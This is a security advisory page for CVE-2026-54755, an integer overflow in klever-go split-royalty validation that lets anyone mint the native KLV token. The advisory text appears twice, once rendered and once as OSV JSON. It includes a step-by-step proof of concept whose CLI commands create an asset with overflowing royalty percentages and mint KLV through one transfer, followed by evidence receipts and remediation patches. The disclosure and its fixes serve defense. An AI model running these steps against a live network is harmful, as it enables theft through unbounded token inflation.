CVE-2026-54755: Klever Integer Overflow Vulnerability

CRITICAL
Advisory Identifier: GHSA-cgc5-v3f2-8m2v
CVSS 9.6
CWE-190
Published
Advisory Summary

CVE-2026-54755 is a CRITICAL (CVSS 9.6) integer overflow vulnerability (CWE-190: Integer Overflow or Wraparound) affecting Klever libraries in the Go ecosystem. The issue involves integer overflow in split-royalty validation enables unbounded minting of klv (native token). Remediation is available by upgrading affected packages to version 1.7.19.

CVE-2026-54755 at a Glance

CVE Identifier CVE-2026-54755
GHSA Identifier GHSA-cgc5-v3f2-8m2v
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-190: Integer Overflow or Wraparound
Affected Product Klever
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54755

To remediate this vulnerability, upgrade all affected Klever dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/klever-io/klever-go fixed: 1.7.19
Upgrade github.com/klever-io/klever-go to 1.7.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/klever-io/klever-go

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54755, inspect your project dependencies for Klever:

inspect dependencies for github.com/klever-io/klever-go

Analyze the terminal output to locate any version of Klever in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.19), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In Klever, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The per-entry percentages of a KDA asset's **split royalties** are validated by summing them into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`, with **no upper bound on each individual entry**. Two split entries whose percentages sum to just over `2^32` **wrap around** below `10000` and pass validation, while each stored value remains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%). At royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than the royalty pool — and the resulting negative remainder is silently discarded (`if royaltiesToPay <= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO royalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin air, on demand, by transferring or selling their own throwaway asset. This is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard. ## Affected component - Repository: `klever-io/klever-go` (node). - Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`, `core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`. - Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go` (marketplace buy), `core/kapp/ito/ito.go` (ITO buy). - **Not** gated by any fork flag — exploitable on current mainnet. --- ## Root cause ### 1. Per-entry split percentages are decoded as raw `uint32` with no bound `core/kapp/builtInFunctions/utils.go` — `decodeSplitInfo` (≈L292): ```go func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error { fields := []*uint32{ &splitInfo.PercentTransferPercentage, &splitInfo.PercentTransferFixed, &splitInfo.PercentMarketPercentage, &splitInfo.PercentMarketFixed, &splitInfo.PercentITOPercentage, &splitInfo.PercentITOFixed, } for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check return err } } return nil } ``` ### 2. Validation sums into a `uint32` and only checks the sum `core/kapp/kda/create.go` (fungible path, ≈L351-382; NFT path ≈L228-264): ```go sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator sumSplitTransferFixed := uint32(0) // ... for key, value := range tc.GetRoyalties().GetSplitRoyalties() { // ... no per-entry bound ... sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32 sumSplitTransferFixed += value.GetPercentTransferFixed() // ... } if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue } ``` `core/process/kda/assetHelper.go` (L101): ```go func CheckValid100Params(values ...uint32) bool { for _, value := range values { if value > core.HundredPercent { // HundredPercent = 10000 return false } } return true } ``` The per-entry `> HundredPercent` check that exists for `TransferPercentage` **tiers** (`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields. `0x80000000 + 0x80000000 = 0x1_0000_0000` → **wraps to `0`** in `uint32` → `CheckValid100Params(0)` is true. ### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV `core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382): ```go err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty // ... royaltiesFixedToPay := kda.Royalties.TransferFixed for key, value := range kda.Royalties.SplitRoyalties { // L343: split paid in KLV using the overflowed PercentTransferFixed status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible, acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay) // ... } if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error) return transaction.Transaction_Ok, nil } ``` `computeSplitRoyalties` (L276-314): ```go splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287 *royaltiesToPay -= splitToPay // L291 err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit ``` `tools/converters.go` — `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000` fits in `int64`, so **no overflow error fires** — it simply returns the inflated amount. **Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited `TransferFixed × 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) − `TransferFixed`. The same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the sale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV — silent skips at L456/L503) and `core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the top-level `marketOwnerAmount < 0`, not these intra-royalty split over-payments. --- ## Proof of Concept (reproduce from scratch) A single-node local network is sufficient. Full environment setup is in the companion runbook `REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions. ### Prereqs (build + run a single node) ```bash export REPO=/path/to/klever-go && cd "$REPO" go build -o /tmp/klnode ./cmd/node go build -o /tmp/kloperator ./cmd/operator go build -o /tmp/klkeygen ./cmd/keygenerator # Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a # funded wallet (klvDenomination 6), then: nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \ --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \ --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \ > /tmp/klnode.log 2>&1 < /dev/null & disown ``` ### Step 1 — create a malicious asset (your own throwaway token) The operator stores percentages as `uint32(input × 100)`, so `21474836.48 → 2147483648 = 0x80000000`. Two entries make the `uint32` sum wrap to 0. ```bash R1=<any valid klv1 address> # clean recipient, will receive minted KLV R2=<any valid klv1 address> # second recipient /tmp/kloperator kda create 0 \ --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \ --royaltiesAddress=<owner> \ --royaltiesTransferFixed=1 \ --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \ --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \ -s --await ``` **Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both recipients (a correct chain would reject this). ### Step 2 — mint KLV with one ordinary transfer ```bash /tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await ``` **Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800` (= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV). ### Verify the mint ```bash # R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV: curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \ "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')" ``` --- ## Evidence (live single-node run, chainID 420420) ### Asset creation — overflowed split royalties **accepted** (`resultCode: Ok`) tx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract (operator output, abridged): ```json { "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2", "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "initialSupply": 1000000000000, "royalties": { "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "transferFixed": 1000000, "splitRoyalties": { "klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 }, "klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 } } } } ``` Result: `hash: 1e288135…`, `status: success`, `resultCode: Ok`. (`2147483648 = 0x80000000`; the two values' `uint32` sum is `0` → passed `CheckValid100Params`.) ### Transfer — mints KLV (`resultCode: Ok`) tx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`, `status: success`, `resultCode: Ok`. Receipts (operator output): ```json {"typeString": "SignedBy"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000, "assetId": "KPRT2-2712", "assetType": "Fungible"} ``` **Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were each credited `214748364800` (**214,748.36 KLV**) — **429,496.73 KLV minted** from a 1 KLV royalty, in a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never being sent any KLV. The minted amount is `pool(=1000000) × 0x80000000 / 10000 = 214748364800` per recipient. A prior run reproduced the same on the *transfer-percentage* path, minting the asset itself (42,949,672.96 tokens from one transfer); note that the asset's booked `CirculatingSupply` / `MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so the inflation is invisible to supply dashboards and only detectable by summing balances. --- ## Impact - **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees. - Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed` deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path. - The mint is **off the books** (booked supply unchanged), making detection hard. - Total loss of economic integrity for all token/KLV holders. ## Who can exploit it / prerequisites - **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or allowlist. - **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction and POSTs to the public, unauthenticated `/transaction/send` endpoint (`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` — no auth). The official SDKs or a hand-signed `curl` produce identical results; nothing in the operator is required. - Deterministic, single-transaction trigger after a one-time asset setup. --- ## Remediation Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate them behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`), so historical blocks reprocess identically. ### A. Reject over-100% split percentages at validation (root cause) 1. Bound **each individual** split field, e.g. in `decodeSplitInfo` (`core/kapp/builtInFunctions/utils.go`): ```go for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err } if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW } ``` 2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and `core/kapp/kda/trigger.go`, and reject if any per-category sum `> core.HundredPercent`. (With each entry ≤ 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is 200000 — but use `uint64` regardless for defense in depth.) ### B. Treat a negative royalty remainder as a hard error (defense in depth) In every split-distribution site, replace the silent skip with a rejection: ```go // BEFORE if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil } // AFTER if royaltiesToPay < 0 { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue } if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil } ``` Sites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage), `core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499). ### C. (Optional) Assert conservation After distributing a royalty pool, assert `Σ splitToPay == pool` (the owner gets the exact remainder), so any future regression aborts the tx instead of minting. A regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in) cannot pay out more than the royalty pool. --- ## Variants / notes - **Transfer (percentage)** → mints the transferred asset. **Transfer (fixed)**, **Market** (fixed + percentage), **ITO** (fixed + percentage) → mint **KLV** / the sale currency. - Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via `AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint — atomically within one tx. - The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools. ## References - Vulnerable code: `core/process/kda/assetHelper.go:101`, `core/kapp/builtInFunctions/utils.go:292`, `core/kapp/kda/create.go:228-264,351-382`, `core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`, `core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`, `tools/converters.go:102`.

CVE-2026-54755 Affected Klever Versions

1 component(s)
Fixed Versions:
1.7.19
Product / Package Ecosystem Affected Versions Fixed Version
github.com/klever-io/klever-go
Go
< 1.7.19
1.7.19

References

Frequently Asked Questions

What is CVE-2026-54755?
CVE-2026-54755 is a security vulnerability in Klever involving Integer overflow in split-royalty validation enables unbounded minting of KLV (native token) under CWE-190: Integer Overflow or Wraparound.
Which Klever versions are affected?
Affected versions include releases prior to 1.7.19 across affected packages: github.com/klever-io/klever-go.
What version fixes CVE-2026-54755?
Upgrading to 1.7.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/klever-io/klever-go affected?
Yes, github.com/klever-io/klever-go is affected in releases prior to 1.7.19. Upgrade your dependency to 1.7.19 or later.
What is the CVSS score of CVE-2026-54755?
CVE-2026-54755 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H.
What CWE is associated with CVE-2026-54755?
CVE-2026-54755 is classified under CWE-190: Integer Overflow or Wraparound (The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.).
How can I check Go dependencies for CVE-2026-54755?
Run the dependency tree command: 'inspect dependencies for github.com/klever-io/klever-go'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cgc5-v3f2-8m2v",
  "modified" : "2026-08-28T16:25:48Z",
  "published" : "2026-08-28T16:25:48Z",
  "aliases" : [ "CVE-2026-54755" ],
  "summary" : "Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)",
  "details" : "## Summary\n\nThe per-entry percentages of a KDA asset's **split royalties** are validated by summing\nthem into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`,\nwith **no upper bound on each individual entry**. Two split entries whose percentages sum to\njust over `2^32` **wrap around** below `10000` and pass validation, while each stored value\nremains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%).\n\nAt royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than\nthe royalty pool — and the resulting negative remainder is silently discarded\n(`if royaltiesToPay <= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO\nroyalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin\nair, on demand, by transferring or selling their own throwaway asset.\n\nThis is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard.\n\n\n## Affected component\n\n- Repository: `klever-io/klever-go` (node).\n- Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`,\n  `core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`.\n- Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go`\n  (marketplace buy), `core/kapp/ito/ito.go` (ITO buy).\n- **Not** gated by any fork flag — exploitable on current mainnet.\n\n---\n\n## Root cause\n\n### 1. Per-entry split percentages are decoded as raw `uint32` with no bound\n`core/kapp/builtInFunctions/utils.go` — `decodeSplitInfo` (≈L292):\n```go\nfunc decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {\n\tfields := []*uint32{\n\t\t&splitInfo.PercentTransferPercentage,\n\t\t&splitInfo.PercentTransferFixed,\n\t\t&splitInfo.PercentMarketPercentage,\n\t\t&splitInfo.PercentMarketFixed,\n\t\t&splitInfo.PercentITOPercentage,\n\t\t&splitInfo.PercentITOFixed,\n\t}\n\tfor _, field := range fields {\n\t\tif err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n```\n\n### 2. Validation sums into a `uint32` and only checks the sum\n`core/kapp/kda/create.go` (fungible path, ≈L351-382; NFT path ≈L228-264):\n```go\nsumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator\nsumSplitTransferFixed       := uint32(0)\n// ...\nfor key, value := range tc.GetRoyalties().GetSplitRoyalties() {\n\t// ... no per-entry bound ...\n\tsumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32\n\tsumSplitTransferFixed       += value.GetPercentTransferFixed()\n\t// ...\n}\nif !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum\n\treturn transaction.Transaction_ParameterInvalid, common.ErrInvalidValue\n}\n```\n`core/process/kda/assetHelper.go` (L101):\n```go\nfunc CheckValid100Params(values ...uint32) bool {\n\tfor _, value := range values {\n\t\tif value > core.HundredPercent { // HundredPercent = 10000\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n```\nThe per-entry `> HundredPercent` check that exists for `TransferPercentage` **tiers**\n(`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields.\n\n`0x80000000 + 0x80000000 = 0x1_0000_0000` → **wraps to `0`** in `uint32` → `CheckValid100Params(0)` is true.\n\n### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV\n`core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382):\n```go\nerr := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty\n// ...\nroyaltiesFixedToPay := kda.Royalties.TransferFixed\nfor key, value := range kda.Royalties.SplitRoyalties {\n\t// L343: split paid in KLV using the overflowed PercentTransferFixed\n\tstatus, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,\n\t\tacntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)\n\t// ...\n}\nif royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)\n\treturn transaction.Transaction_Ok, nil\n}\n```\n`computeSplitRoyalties` (L276-314):\n```go\nsplitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287\n*royaltiesToPay -= splitToPay                                                                              // L291\nerr = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit\n```\n`tools/converters.go` — `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000`\nfits in `int64`, so **no overflow error fires** — it simply returns the inflated amount.\n\n**Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited\n`TransferFixed × 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) − `TransferFixed`.\n\nThe same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the\nsale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV — silent skips at L456/L503) and\n`core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the\ntop-level `marketOwnerAmount < 0`, not these intra-royalty split over-payments.\n\n---\n\n## Proof of Concept (reproduce from scratch)\n\nA single-node local network is sufficient. Full environment setup is in the companion runbook\n`REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions.\n\n### Prereqs (build + run a single node)\n```bash\nexport REPO=/path/to/klever-go && cd \"$REPO\"\ngo build -o /tmp/klnode ./cmd/node\ngo build -o /tmp/kloperator ./cmd/operator\ngo build -o /tmp/klkeygen ./cmd/keygenerator\n# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a\n# funded wallet (klvDenomination 6), then:\nnohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \\\n  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \\\n  > /tmp/klnode.log 2>&1 < /dev/null & disown\n```\n\n### Step 1 — create a malicious asset (your own throwaway token)\nThe operator stores percentages as `uint32(input × 100)`, so `21474836.48 → 2147483648 = 0x80000000`.\nTwo entries make the `uint32` sum wrap to 0.\n```bash\nR1=<any valid klv1 address>   # clean recipient, will receive minted KLV\nR2=<any valid klv1 address>   # second recipient\n/tmp/kloperator kda create 0 \\\n  --name=\"KlvPrinter\" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \\\n  --royaltiesAddress=<owner> \\\n  --royaltiesTransferFixed=1 \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R1\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R2\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  -s --await\n```\n**Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both\nrecipients (a correct chain would reject this).\n\n### Step 2 — mint KLV with one ordinary transfer\n```bash\n/tmp/kloperator account send \"$R2\" 1 --kda KPRT2-<id> -s --await\n```\n**Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800`\n(= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV).\n\n### Verify the mint\n```bash\n# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:\ncurl -s \"http://127.0.0.1:8080/address/$R1\" | python3 -c \\\n \"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')\"\n```\n\n---\n\n## Evidence (live single-node run, chainID 420420)\n\n### Asset creation — overflowed split royalties **accepted** (`resultCode: Ok`)\ntx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract\n(operator output, abridged):\n```json\n{\n  \"type\": 0, \"name\": \"KlvPrinter2\", \"ticker\": \"KPRT2\",\n  \"ownerAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n  \"initialSupply\": 1000000000000,\n  \"royalties\": {\n    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n    \"transferFixed\": 1000000,\n    \"splitRoyalties\": {\n      \"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap\": { \"percentTransferFixed\": 2147483648 },\n      \"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5\": { \"percentTransferFixed\": 2147483648 }\n    }\n  }\n}\n```\nResult: `hash: 1e288135…`, `status: success`, `resultCode: Ok`.\n(`2147483648 = 0x80000000`; the two values' `uint32` sum is `0` → passed `CheckValid100Params`.)\n\n### Transfer — mints KLV (`resultCode: Ok`)\ntx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`,\n`status: success`, `resultCode: Ok`. Receipts (operator output):\n```json\n{\"typeString\": \"SignedBy\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn…(owner)\", \"to\": \"klv1fpwjz…(R1)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn…(owner)\", \"to\": \"klv17e8zz…(R2)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn…(owner)\", \"to\": \"klv17e8zz…(R2)\", \"value\": 1000000,       \"assetId\": \"KPRT2-2712\", \"assetType\": \"Fungible\"}\n```\n\n**Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were\neach credited `214748364800` (**214,748.36 KLV**) — **429,496.73 KLV minted** from a 1 KLV royalty,\nin a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never\nbeing sent any KLV. The minted amount is `pool(=1000000) × 0x80000000 / 10000 = 214748364800` per\nrecipient.\n\nA prior run reproduced the same on the *transfer-percentage* path, minting the asset itself\n(42,949,672.96 tokens from one transfer); note that the asset's booked `CirculatingSupply` /\n`MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so\nthe inflation is invisible to supply dashboards and only detectable by summing balances.\n\n---\n\n## Impact\n\n- **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees.\n- Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed`\n  deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path.\n- The mint is **off the books** (booked supply unchanged), making detection hard.\n- Total loss of economic integrity for all token/KLV holders.\n\n## Who can exploit it / prerequisites\n\n- **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or\n  allowlist.\n- **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction\n  and POSTs to the public, unauthenticated `/transaction/send` endpoint\n  (`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` — no auth). The official SDKs or a\n  hand-signed `curl` produce identical results; nothing in the operator is required.\n- Deterministic, single-transaction trigger after a one-time asset setup.\n\n---\n\n## Remediation\n\nTwo layers, both should ship. Because these change transaction-validity/consensus behavior, gate\nthem behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`),\nso historical blocks reprocess identically.\n\n### A. Reject over-100% split percentages at validation (root cause)\n1. Bound **each individual** split field, e.g. in `decodeSplitInfo`\n   (`core/kapp/builtInFunctions/utils.go`):\n   ```go\n   for _, field := range fields {\n       if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }\n       if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW\n   }\n   ```\n2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and\n   `core/kapp/kda/trigger.go`, and reject if any per-category sum `> core.HundredPercent`.\n   (With each entry ≤ 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is\n   200000 — but use `uint64` regardless for defense in depth.)\n\n### B. Treat a negative royalty remainder as a hard error (defense in depth)\nIn every split-distribution site, replace the silent skip with a rejection:\n```go\n// BEFORE\nif royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }\n// AFTER\nif royaltiesToPay < 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }\nif royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }\n```\nSites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage),\n`core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499).\n\n### C. (Optional) Assert conservation\nAfter distributing a royalty pool, assert `Σ splitToPay == pool` (the owner gets the exact\nremainder), so any future regression aborts the tx instead of minting.\n\nA regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is\nrejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)\ncannot pay out more than the royalty pool.\n\n---\n\n## Variants / notes\n\n- **Transfer (percentage)** → mints the transferred asset. **Transfer (fixed)**, **Market**\n  (fixed + percentage), **ITO** (fixed + percentage) → mint **KLV** / the sale currency.\n- Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via\n  `AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint — atomically within one tx.\n- The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even\n  easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools.\n\n## References\n\n- Vulnerable code: `core/process/kda/assetHelper.go:101`,\n  `core/kapp/builtInFunctions/utils.go:292`, 